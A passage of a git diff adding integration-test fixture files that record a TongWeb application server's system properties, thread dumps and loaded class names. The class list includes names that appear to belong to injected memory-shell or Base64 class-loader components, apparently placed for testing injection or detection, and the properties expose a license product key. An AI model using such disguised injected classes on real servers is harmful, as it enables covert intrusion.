java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-5" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-Acceptor-0" #117 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-7" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-2" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-1" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-0" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.4:7200]" #95 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5b4f359a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.tongweb.catalina.authenticator.AuthenticatorBase +com.tongweb.catalina.connector.CoyoteWriter +com.tongweb.catalina.connector.ThanosCoyoteAdaptor +com.tongweb.catalina.core.ApplicationFilterChain +com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.catalina.core.StandardContextValve +com.tongweb.catalina.core.StandardEngineValve +com.tongweb.catalina.core.StandardHostValve +com.tongweb.catalina.core.StandardServer +com.tongweb.catalina.core.StandardWrapperValve +com.tongweb.catalina.core.ThanosStandardContextValve +com.tongweb.catalina.core.ThanosStandardEngineValve +com.tongweb.catalina.realm.RealmValve +com.tongweb.catalina.startup.Bootstrap +com.tongweb.catalina.startup.Catalina +com.tongweb.catalina.startup.ThanosCatalina +com.tongweb.catalina.valves.ErrorReportValve +com.tongweb.config.ConfigTool +com.tongweb.coyote.AbstractProcessorLight +com.tongweb.coyote.AbstractProtocol$AsyncTimeout +com.tongweb.coyote.AbstractProtocol$ConnectionHandler +com.tongweb.coyote.http11.Http11Processor +com.tongweb.coyote.http11.ThanosHttp11Processor +com.tongweb.deploy.TongWebDeployer +com.tongweb.deploy.autodeploy.TongWebAutoDeployTask +com.tongweb.deploy.autodeploy.TongWebAutoDeployer +com.tongweb.deploy.commands.DeployCommand +com.tongweb.deploy.util.DeployConfigUtil +com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer +com.tongweb.tomee.catalina.OpenEJBValve +com.tongweb.web.util.net.AbstractEndpoint +com.tongweb.web.util.net.Nio2Endpoint$Acceptor +com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4 +com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor +com.tongweb.web.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.util.net.NioEndpoint$Acceptor +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TWThreadPoolExecutor +com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.websocket.server.WsFilter +org.apache.commons.lang.URdhB.ErrorTksljHandler diff --git a/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt new file mode 100644 index 00000000..8cf27f22 --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt @@ -0,0 +1,1153 @@ +# Generated At 2026-05-24 11:01:50 +SystemProps: +server.tongweb.license.type: file +java.vendor: Temurin +tongweb.restart.interval: 1 +pid_file_path: /opt/tweb7/tongweb.pid +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +xss_defense: true +openejb.provider.default: com.tongweb.tomee +sun.boot.class.path: /opt/tweb7/lib/endorsed/corba-orb.jar:/opt/tweb7/lib/endorsed/annotation-api.jar:/opt/tweb7/lib/endorsed/corba-omgapi.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +disableResourceCache: true +checkNonXADB: true +java.vm.specification.vendor: Oracle Corporation +server.tongweb.license.tongWebEdition: tw7#isGF:false,console:true,agent:true,asdp:false,iSBindMac:false +java.runtime.version: 1.8.0_482-b08 +enable_query_cache: false +user.name: root +openejb.deployments.classpath.filter.systemapps: false +shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/ +openejb.loader: webtier-system +genSessionCookieNameForContext: console +tongweb.home: /opt/tweb7 +java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory +user.language: en +server.tongweb.license.filePath: /opt/tweb7/license.dat +derby.system.home: /opt/tweb7/bin +ibm.stream.nio: true +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +openejb.deployments.classpath: false +resLowversionLoad: false +tongweb.java: /opt/java/openjdk +java.version: 1.8.0_482 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: false +tongweb.X_Frame_Options: SAMEORIGIN +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +LoadClassCache.Disabled: true +tongweb.upload: /opt/tweb7/temp/upload +java.endorsed.dirs: /opt/tweb7/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +tomee.remote.support: false +user.country: US +java.home: /opt/java/openjdk/jre +java.vm.info: mixed mode +os.version: 6.8.0-111-generic +com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +openejb.embedder.source: ThanosServerListener +tongweb.sysapp: /opt/tweb7/applications +compatibleWithWas: false +path.separator: : +TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar +java.vm.version: 25.482-b08 +bval.in-container: true +com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory +java.awt.printerjob: sun.print.PSPrinterJob +authconfigprovider.factory: false +java.security.policy: /opt/tweb7/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +tongweb.base: /opt/tweb7 +package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web. +tongweb.app: /opt/tweb7/deployment +java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb7 +java.security.egd: file:/dev/./urandom +user.home: /root +disableVerCode: true +java.specification.vendor: Oracle Corporation +WebserviceCXF.OFF: true +jvProfile: true +java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +tongweb.rmijmx.cbport: 7200 +java.vm.vendor: Temurin +common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +WebModuleOnly: false +java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/license-client.jar:/opt/tweb7/lib/ejb-agent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +server.tongweb.license.productKey: 7JkITCuSsJ3j5VX2j33Mcb8l7sTCmWcsN6qfI7QiaumezEWIonfngJVX6yRjEK3UbRVZCwbjkmi4V4ShVOPeeOQOgILACnld3GXYgDI5Au4= +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb7/temp +xss_apps: console,heimdall +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +server.loader: +cdi.passivate: false +java.rmi.server.hostname: 172.17.0.4 +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb7/bin +ShutdownSocketDisabled: false +tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/ +useBeanManagerInCompJNDI: false +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +openejb.base: /opt/tweb7 +startup.secure: false +file.encoding: UTF-8 +persistenceLogSavePath: persistence +tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb7 + +=========================================== + +ThreadStacks: +"http-nio-5100-exec-6" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-6" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-4" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-7200" #96 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.4:7200]" #100 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@4fd1c3ca + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-5" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-172.17.0.4" #101 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at 